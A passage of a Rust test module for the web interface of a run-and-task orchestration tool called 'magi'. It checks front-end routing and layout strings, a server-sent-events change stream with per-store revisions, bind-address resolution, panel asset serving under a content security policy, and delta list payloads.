12010 fn a_run_without_advice_has_no_advice_md() {
12011 let state = RunState::new(
12012 std::path::PathBuf::from("/repo"),
12013 "main".to_owned(),
12014 "abc".to_owned(),
12015 "x".to_owned(),
12016 crate::config::Config::default(),
12017 );
12018 let p = run_prose_md(&state);
12019 assert!(p.advice_md.is_none());
12020 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12021 }
12022
12023 #[test]
12024 fn a_question_view_carries_markdown_for_each_thread_turn() {
12025 let home = TempDir::new().unwrap();
12026 let store = ask::Questions::at(home.path().join("questions"));
12027 let mut q = Question::new(
12028 "run".to_owned(),
12029 "implement".to_owned(),
12030 "impl-A".to_owned(),
12031 "which?".to_owned(),
12032 String::new(),
12033 Vec::new(),
12034 );
12035 q.say("plain words").unwrap();
12036 q.reply("use **this**", Vec::new()).unwrap();
12037 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12038 let bodies = &v["thread_bodies_md"];
12039 assert_eq!(bodies.as_array().unwrap().len(), 2);
12040 assert!(!bodies[0].to_string().contains("strong"));
12041 assert!(bodies[1].to_string().contains("strong"));
12042 }
12043
12044 #[test]
12045 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12046 assert!(APP_JS.contains("function landView(run, raw) {"));
12050 assert!(
12051 APP_JS.contains(
12052 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12053 )
12054 );
12055 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12056 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12057 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12058 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12059 }
12060
12061 #[test]
12062 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12063 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12064 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12065 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12066 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12067 }
12068
12069 #[test]
12070 fn review_rounds_label_a_distinct_verified_head() {
12071 assert!(APP_JS.contains("round.verified_head"));
12072 assert!(APP_JS.contains("verified HEAD"));
12073 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12074 }
12075
12076 #[test]
12077 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12078 assert!(APP_JS.contains("blocked: { glyph:"));
12082 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12083
12084 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12088 assert!(
12089 APP_JS.contains(
12090 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12091 ),
12092 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12093 );
12094 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12098
12099 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12103 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12104 assert!(
12105 APP_JS.contains("location.hash = \"#/questions\";"),
12106 "a question node must jump to the Questions screen, not pretend to be a task"
12107 );
12108
12109 assert!(APP_JS.contains("Resolved questions"));
12112 assert!(APP_JS.contains("r.answersList.append("));
12113 assert!(APP_CSS.contains(".task-answers"));
12114 {
12115 let start = APP_JS
12116 .find("function updateTalkTaskRow")
12117 .expect("updateTalkTaskRow");
12118 let body = &APP_JS[start..];
12119 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12120 assert!(
12121 body.contains(
12122 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12123 ),
12124 "a chat-filed task row must link to the task page"
12125 );
12126 assert!(
12127 !body.contains("#/runs/") && !body.contains("#/queue/"),
12128 "the row must not branch to a run or the queue card"
12129 );
12130 assert!(APP_CSS.contains(".talk-task-link"));
12131 }
12132 }
12133
12134 #[test]
12135 fn a_task_notification_links_to_the_task_page() {
12136 let start = APP_JS
12138 .find("function noticeLink(")
12139 .expect("noticeLink exists");
12140 let body = &APP_JS[start..];
12141 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12142 assert!(
12143 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12144 "a task notice's link must target the task page"
12145 );
12146 assert!(
12147 !body.contains("#/queue/"),
12148 "regression: the task link must not go back to the Backlog route"
12149 );
12150 assert!(
12151 APP_JS.contains(
12152 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12153 ),
12154 "`#/tasks/<id>` must parse into the task route"
12155 );
12156
12157 assert!(
12159 APP_JS.contains(
12160 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12161 ),
12162 "`#/queue/<id>` must parse into a route carrying that id"
12163 );
12164
12165 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12169 assert!(APP_JS.contains("function consumeQueueFocus()"));
12170 assert!(APP_JS.contains("jumpToTask(id)"));
12171 }
12172
12173 #[test]
12176 fn chat_rows_put_the_title_alone_on_the_first_line() {
12177 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12178 assert!(APP_CSS.contains(
12179 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12180 ));
12181 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12182 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12183 }
12184
12185 #[test]
12186 fn run_rows_put_the_title_alone_on_the_first_line() {
12187 assert!(
12188 APP_CSS.contains(
12189 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12190 )
12191 );
12192 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12193 assert!(APP_JS.contains("class: \"card run-card\""));
12194 assert!(APP_JS.contains("class: \"repo run-id\""));
12195 }
12196
12197 #[test]
12201 fn wide_screens_show_list_and_preview_side_by_side() {
12202 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12204 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12205 assert!(APP_CSS.contains("main[data-split]"));
12206 assert!(APP_CSS.contains("body[data-split]"));
12207
12208 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12210 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12211 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12212 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12213 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12214
12215 assert!(APP_JS.contains("function markSelected() {"));
12217 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12218 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12219 assert!(
12221 APP_CSS.contains(
12222 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12223 )
12224 );
12225
12226 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12228 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12229 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12230 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12231
12232 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12236 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12237 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12238 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12239
12240 assert!(APP_JS.contains("sandbox: \"\""));
12242 assert!(!APP_JS.contains("sandbox: \"allow"));
12243 }
12244
12245 #[test]
12246 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12247 assert!(
12256 APP_JS.contains(
12257 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
12258 ),
12259 "the search-clearing branch must run before state.queueFocus is cleared, or the \
12260 recursive renderQueue() call has nothing left to jump to"
12261 );
12262 assert!(
12263 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12264 "state.queueFocus must be cleared only once the jump has landed, so a card that \
12265 arrives later still gets it"
12266 );
12267 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12268 assert!(APP_JS.contains("is not in the current Backlog."));
12269 assert!(APP_JS.contains("li.card[data-task-id=\""));
12270 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12271 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12272 assert!(APP_CSS.contains(".card-permalink"));
12273 assert!(APP_CSS.contains(".queue-focus-status"));
12274 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12275 }
12276
12277 #[test]
12278 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12279 assert!(
12287 APP_JS.contains(
12288 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12289 ),
12290 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12291 );
12292 }
12293
12294 #[test]
12295 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12296 assert!(
12297 APP_JS.contains("round.verified_head !== round.head"),
12298 "a round that verified an earlier commit must be visibly distinct from one that \
12299 verified the head reviewers are looking at now"
12300 );
12301 assert!(
12302 APP_JS.contains("round.verified_at"),
12303 "when a check ran must be on the wire, not just which commit"
12304 );
12305 assert!(
12306 APP_JS.contains("resource_blocked"),
12307 "a command magi never got to run (shared build cache contention) must not render \
12308 the same as a command that ran and failed"
12309 );
12310 }
12311
12312 #[test]
12313 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12314 assert!(
12322 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12323 "every KPI tile built through statusTile() must route its click through \
12324 openRunsFiltered, the single place that sets the Runs filter"
12325 );
12326 for (label, status) in [
12327 ("Merged", "merged"),
12328 ("Ready", "ready"),
12329 ("Blocked", "blocked"),
12330 ("Stalled", "stalled"),
12331 ] {
12332 let call = format!("statusTile(\"{label}\", t.{status}, ");
12333 assert!(
12334 APP_JS.contains(&call),
12335 "expected the {label} KPI tile built via {call}..."
12336 );
12337 assert!(
12338 APP_JS.contains(&format!("status === \"{status}\"")),
12339 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12340 compare a run against, not one invented only for the stats tile"
12341 );
12342 }
12343 assert!(
12344 APP_JS.contains("function openRunsFiltered(status)"),
12345 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12346 );
12347 assert!(
12348 APP_JS.contains(
12349 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12350 ),
12351 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12352 );
12353 assert!(
12361 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12362 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12363 hashchange event that may never fire"
12364 );
12365 }
12366
12367 #[test]
12368 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12369 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12375 assert!(
12376 APP_JS.contains(
12377 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12378 ),
12379 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12380 guard for an incompatible tree section"
12381 );
12382 }
12383
12384 #[test]
12385 fn every_stats_queue_tile_names_a_real_queue_section() {
12386 assert!(
12392 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12393 "every queue tile built through sectionTile() must route its click through \
12394 openQueueSectionFocus"
12395 );
12396 for key in ["upnext", "running", "done", "held", "blocked"] {
12397 assert!(
12398 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12399 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12400 );
12401 }
12402 for line in [
12406 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12407 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12408 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12409 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12410 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12411 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12412 ] {
12413 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12414 }
12415 }
12416
12417 #[test]
12418 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12419 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12426 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12427 assert!(APP_JS.contains("function revealQueueSection(details)"));
12428 assert!(
12429 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
12430 "renderQueue() must consume both focus channels on every pass"
12431 );
12432 assert!(
12433 APP_JS.contains(
12434 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
12435 ),
12436 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12437 the recursive renderQueue() call has nothing left to reveal"
12438 );
12439 assert!(
12440 APP_JS.contains(
12441 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12442 ),
12443 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12444 );
12445 assert!(
12453 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
12454 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12455 hashchange event that may never fire"
12456 );
12457 }
12458
12459 #[tokio::test]
12460 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12461 let f = Fixture::start().await;
12462
12463 let mut socket = tokio::net::TcpStream::connect(f.addr)
12464 .await
12465 .expect("connect");
12466 socket
12467 .write_all(
12468 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12469 )
12470 .await
12471 .expect("write request");
12472
12473 let mut seen = String::new();
12476 let mut buf = [0u8; 1024];
12477 while !seen.contains("event: change") {
12478 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12479 .await
12480 .expect("the stream must speak within five seconds")
12481 .expect("read");
12482 assert!(read > 0, "the server closed the change stream: {seen}");
12483 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12484 }
12485
12486 assert!(
12487 seen.to_lowercase()
12488 .contains("content-type: text/event-stream"),
12489 "the browser only reconnects automatically for a real SSE stream: {seen}"
12490 );
12491 let data = seen
12492 .lines()
12493 .find_map(|l| l.strip_prefix("data:"))
12494 .expect("a data line");
12495 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12496 assert!(
12497 payload["queue_rev"].is_u64()
12498 && payload["runs_rev"].is_u64()
12499 && payload["questions_rev"].is_u64()
12500 && payload["talks_rev"].is_u64()
12501 && payload["notifications_rev"].is_u64()
12502 && payload["loop_rev"].is_u64(),
12503 "the client needs one revision per store to know what to refetch, \
12504 and `talks_rev` is the only notification a standing talk gets - a \
12505 phone whose radio slept through a turn learns about it here, as \
12506 does one whose operator started the loop from another device: \
12507 {payload}"
12508 );
12509
12510 let health = f.get("/api/health").await.json();
12517 for key in [
12518 "queue_rev",
12519 "runs_rev",
12520 "questions_rev",
12521 "talks_rev",
12522 "notifications_rev",
12523 "loop_rev",
12524 ] {
12525 assert!(
12526 health[key].is_u64(),
12527 "health is the change stream's fallback and is missing `{key}`: {health}"
12528 );
12529 }
12530 }
12531
12532 #[tokio::test]
12533 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12534 let f = Fixture::start().await;
12535 let before = f.get("/api/health").await.json()["talks_rev"]
12536 .as_u64()
12537 .expect("talks_rev");
12538
12539 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12540 std::thread::sleep(Duration::from_millis(10));
12541 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12542 on_disk.turns.push(crate::talk::Turn {
12543 who: crate::talk::Who::Operator,
12544 body: "a new turn".to_owned(),
12545 at: Timestamp::now(),
12546 attachments: Vec::new(),
12547 usage: None,
12548 });
12549 f.talks().put(&mut on_disk).expect("record a turn");
12550
12551 let after = f.get("/api/health").await.json()["talks_rev"]
12552 .as_u64()
12553 .expect("talks_rev");
12554 assert_ne!(
12555 before, after,
12556 "a phone must be able to notice a talk's reply without polling every store"
12557 );
12558 }
12559
12560 #[test]
12561 fn bind_reads_back_from_the_spelling_the_cli_prints() {
12562 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12566 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12567 }
12568 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12569 assert!("everywhere".parse::<Bind>().is_err());
12570 }
12571
12572 #[test]
12573 fn an_explicit_bind_address_is_taken_verbatim() {
12574 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12575
12576 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12577
12578 assert_eq!(addr, asked);
12579 assert!(
12580 warning.is_none(),
12581 "an operator who named an address gets no lecture"
12582 );
12583 }
12584
12585 #[test]
12586 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12587 let (addr, warning) = resolve_bind(&Bind::Auto);
12588
12589 match addr {
12596 IpAddr::V4(ip) if is_tailnet(&ip) => {
12597 assert!(warning.is_none(), "a tailnet address needs no warning");
12598 }
12599 other => {
12600 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
12601 let warning = warning.expect("a fallback has to explain itself");
12602 assert!(
12603 warning.contains("127.0.0.1") && warning.contains("local-only"),
12604 "the warning says what happened and what it costs: {warning}"
12605 );
12606 }
12607 }
12608 }
12609
12610 #[test]
12611 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
12612 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
12616 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
12617 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
12618 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
12619 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
12620 }
12621
12622 #[test]
12623 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
12624 let ids = vec![
12625 "20260902-140501-aaaa".to_owned(),
12626 "20260902-140502-aabb".to_owned(),
12627 ];
12628
12629 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
12630 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
12631 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
12632
12633 assert_eq!(missing.status, StatusCode::NOT_FOUND);
12634 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
12635 assert_eq!(short, "20260902-140502-aabb");
12636 }
12637 #[tokio::test]
12638 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
12639 let fx = Fixture::start().await;
12645 let id = panel(
12646 &fx,
12647 "<img src=\"shot.png\">",
12648 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
12649 );
12650
12651 let doc = fx
12653 .get(&format!("/api/questions/{id}/panel/index.html"))
12654 .await;
12655 assert_eq!(doc.status, 200, "{}", doc.body);
12656 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
12657
12658 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
12659 assert_eq!(sibling.status, 200, "{}", sibling.body);
12660 assert_eq!(sibling.header("content-type"), Some("image/png"));
12661 assert_eq!(
12662 sibling.header("content-security-policy"),
12663 Some(PANEL_CSP),
12664 "the sibling route must carry the same policy as the asset route"
12665 );
12666
12667 assert_eq!(
12670 fx.head(&format!("/api/questions/{id}/panel")).await.status,
12671 200
12672 );
12673 }
12674
12675 #[test]
12676 fn delta_stamps_cover_add_update_remove_and_noop() {
12677 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
12678 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
12679 let delta = diff_stamps(&before, &after, 42);
12680 assert_eq!(delta.base, 42);
12681 assert_eq!(delta.changed, ["b", "c"]);
12682 assert_eq!(delta.removed, ["a"]);
12683 let same = diff_stamps(&after, &after, 43);
12684 assert!(same.changed.is_empty() && same.removed.is_empty());
12685 assert_ne!(stamps_revision(&before), stamps_revision(&after));
12686 let nanos: Stamps = [("b".into(), (2, 20))].into();
12687 let same_ms: Stamps = [("b".into(), (3, 20))].into();
12688 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
12689 assert_eq!(stamps_revision(&Stamps::new()), 0);
12690 }
12691
12692 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
12693 std::fs::create_dir_all(home.join("runs")).unwrap();
12694 Arc::new(Ui::new(
12695 Queue::at(home.join("queue")),
12696 Questions::at(home.join("questions")),
12697 Talks::at(home.join("talks")),
12698 home.join("runs"),
12699 home.to_owned(),
12700 PathBuf::from("/repo/magi"),
12701 ))
12702 }
12703
12704 #[tokio::test]
12705 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
12706 let home = TempDir::new().unwrap();
12707 let ui = delta_test_ui(home.path());
12708 let mut task = Task::new(
12709 "stream task".into(),
12710 "text".into(),
12711 PathBuf::from("/repo"),
12712 Source::Human,
12713 );
12714 ui.queue.put(&mut task).unwrap();
12715 let response = events(State(ui.clone())).await.into_response();
12716 let mut stream = response.into_body().into_data_stream();
12717 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
12718 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
12719 .await
12720 .unwrap()
12721 .unwrap()
12722 .unwrap();
12723 let text = String::from_utf8(chunk.to_vec()).unwrap();
12724 let data = text
12725 .lines()
12726 .find_map(|line| {
12727 line.strip_prefix("data: ")
12728 .or_else(|| line.strip_prefix("data:"))
12729 })
12730 .unwrap();
12731 serde_json::from_str(data).unwrap()
12732 }
12733 let initial = change(&mut stream).await;
12734 assert!(initial.get("queue_delta").is_none());
12735 task.instruction.push_str(" changed");
12736 ui.queue.put(&mut task).unwrap();
12737 let updated = change(&mut stream).await;
12738 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
12739 assert_eq!(
12740 updated["queue_delta"]["changed"],
12741 serde_json::json!([task.id])
12742 );
12743 assert_eq!(
12744 updated["queue_rev"].as_u64(),
12745 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
12746 );
12747 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
12748 let removed = change(&mut stream).await;
12749 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
12750 assert_eq!(
12751 removed["queue_delta"]["removed"],
12752 serde_json::json!([task.id])
12753 );
12754 }
12755
12756 #[tokio::test]
12757 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
12758 let home = TempDir::new().unwrap();
12759 let ui = delta_test_ui(home.path());
12760 let queue = ui.queue.clone();
12761 let query = |ids: Option<&str>| {
12762 Query(ListQuery {
12763 limit: Some(2),
12764 ids: ids.map(str::to_owned),
12765 })
12766 };
12767 let mut root = Task::new(
12768 "root".into(),
12769 "instruction".into(),
12770 PathBuf::from("/repo"),
12771 Source::Human,
12772 );
12773 queue.put(&mut root).unwrap();
12774 let mut blocked = Task::new(
12775 "blocked".into(),
12776 "instruction".into(),
12777 PathBuf::from("/repo"),
12778 Source::Human,
12779 );
12780 blocked.block(vec![root.id.clone()], None);
12781 queue.put(&mut blocked).unwrap();
12782 let whole =
12783 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
12784 .unwrap();
12785 let subset = serde_json::to_value(
12786 queue_list(State(ui.clone()), query(Some(&root.id)))
12787 .await
12788 .unwrap()
12789 .0,
12790 )
12791 .unwrap();
12792 assert_eq!(whole, subset, "requested root plus its blocked dependent");
12793 let blockers = serde_json::to_value(
12794 queue_list(State(ui.clone()), query(Some("")))
12795 .await
12796 .unwrap()
12797 .0,
12798 )
12799 .unwrap();
12800 assert_eq!(blockers.as_array().unwrap().len(), 1);
12801 assert_eq!(blockers[0]["id"], blocked.id);
12802 assert_eq!(
12803 blockers[0]["waits_on"],
12804 whole
12805 .as_array()
12806 .unwrap()
12807 .iter()
12808 .find(|row| row["id"] == blocked.id)
12809 .unwrap()["waits_on"]
12810 );
12811
12812 for id in [
12813 "20260902-140501-aaaa",
12814 "20260902-140502-bbbb",
12815 "20260902-140503-cccc",
12816 ] {
12817 write_run(&ui.runs, id, RunStatus::Merged);
12818 }
12819 let old = serde_json::to_value(
12820 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
12821 .await
12822 .unwrap()
12823 .0,
12824 )
12825 .unwrap();
12826 assert!(
12827 old.as_array().unwrap().is_empty(),
12828 "older updates must not enter the window"
12829 );
12830 let newest = serde_json::to_value(
12831 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
12832 .await
12833 .unwrap()
12834 .0,
12835 )
12836 .unwrap();
12837 assert_eq!(newest.as_array().unwrap().len(), 1);
12838 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
12839
12840 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
12841 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
12842 let talks = serde_json::to_value(
12843 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
12844 .await
12845 .unwrap()
12846 .0,
12847 )
12848 .unwrap();
12849 assert_eq!(talks.as_array().unwrap().len(), 1);
12850 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
12851 assert_eq!(
12852 serde_json::to_value(
12853 talks_list(State(ui.clone()), query(Some("")))
12854 .await
12855 .unwrap()
12856 .0
12857 )
12858 .unwrap(),
12859 serde_json::json!([])
12860 );
12861 }
12862
12863 #[tokio::test]
12864 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
12865 async fn delta_payload_benchmark() {
12866 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
12867 let ui = delta_test_ui(&home);
12868 let query = |ids: Option<String>| {
12869 Query(ListQuery {
12870 limit: Some(50),
12871 ids,
12872 })
12873 };
12874 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
12875 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
12876 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
12877 let queue_id = queue
12878 .iter()
12879 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
12880 .unwrap_or(&queue[0])
12881 .task
12882 .id
12883 .clone();
12884 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
12885 .await
12886 .unwrap()
12887 .0;
12888 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
12889 .await
12890 .unwrap()
12891 .0;
12892 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
12893 .await
12894 .unwrap()
12895 .0;
12896 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
12897 eprintln!(
12898 "DELTA_PAYLOAD {}",
12899 serde_json::json!({
12900 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
12901 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
12902 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
12903 "counts": [queue.len(), runs.len(), talks.len()],
12904 "blocked": queue_delta.len() - 1,
12905 })
12906 );
12907 }
12908
12909 #[test]
12910 fn runs_revision_moves_when_deleting_an_older_run() {
12911 let temp = TempDir::new().expect("tempdir");
12912 let runs = temp.path().join("runs");
12913 std::fs::create_dir_all(&runs).expect("create runs dir");
12914
12915 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
12916
12917 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
12918 std::thread::sleep(Duration::from_millis(10));
12919 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
12920
12921 let rev_before = runs_revision(&runs);
12922 assert!(rev_before > 0);
12923
12924 let old_dir = runs.join("20260901-100000-old1");
12925 std::fs::remove_dir_all(&old_dir).expect("remove old run");
12926
12927 let rev_after = runs_revision(&runs);
12928 assert_ne!(
12929 rev_before, rev_after,
12930 "deleting an older run must change the revision so other clients see the deletion"
12931 );
12932 }
12933
12934 fn write_state(runs: &FsPath, state: &RunState) {
12939 let dir = runs.join(&state.id);
12940 std::fs::create_dir_all(&dir).expect("run dir");
12941 std::fs::write(
12942 dir.join("run.json"),
12943 serde_json::to_string_pretty(state).expect("serialize run"),
12944 )
12945 .expect("write run.json");
12946 }
12947
12948 #[test]
12953 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
12954 let temp = TempDir::new().expect("tempdir");
12955 let runs = temp.path().join("runs");
12956 std::fs::create_dir_all(&runs).expect("create runs dir");
12957 let mut state = RunState::new(
12958 PathBuf::from("/repo/magi"),
12959 "main".to_owned(),
12960 "0123456789abcdef".to_owned(),
12961 "task".to_owned(),
12962 Config::default(),
12963 );
